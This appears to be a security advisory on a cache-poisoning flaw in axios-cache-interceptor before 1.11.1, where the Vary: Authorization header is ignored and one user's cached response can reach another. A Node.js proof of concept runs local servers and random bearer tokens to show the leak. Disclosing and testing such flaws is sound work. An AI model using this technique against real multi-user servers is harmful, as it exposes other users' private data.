Cache Poisoning Affecting axios-cache-interceptor package, versions <1.11.1

axios-cache-interceptor is a Cache interceptor for axios

Affected versions of this package are vulnerable to Cache Poisoning by ignoring the Vary HTTP header. An attacker can access unauthorized cached responses to obtain sensitive user data by sending requests with multiple different authorization tokens, as the cache does not differentiate based on the Authorization header when an upstream service uses the Vary: Authorization response header.

Note: This is only exploitable if the application is server-side, handles requests from multiple users with different authorization tokens, and the upstream service relies on the Vary header to differentiate cache entries.

const http = require('node:http');
const axios = require('axios');
const { setupCache } = require('axios-cache-interceptor');

// Server that returns different responses based on Authorization
const server = http.createServer((req, res) => {
  const auth = req.headers.authorization;

  res.setHeader('Vary', 'Authorization');

  if (auth === 'Bearer 123') {
    res.write('Hello, user 123!');
  } else if (auth === 'Bearer 456') {
    res.write('Hello, user 456!');
  } else {
    res.write('Unknown');
  }

  res.end();
});

server.listen(5000);

// Client making requests with different tokens
const cachedAxios = setupCache(axios.create());

const server2 = http.createServer(async (_req, res) => {
  const authHeader =
    Math.random() < 0.5 ? 'Bearer 123' : 'Bearer 456';

  const response = await cachedAxios.get('http://localhost:5000', {
    headers: { Authorization: authHeader }
  });

  console.log({
    response: response.data,
    cached: response.cached,
    auth: authHeader
  });
  res.write(response.data);
  res.end();
});

server2.listen(5001);

// Trigger 10 requests
Promise.all(
  Array.from({ length: 10 }, () =>
    axios.get('http://localhost:5001').catch(console.error)
  )
).finally(() => {
  server.close();
  server2.close();
});

• GitHub Commit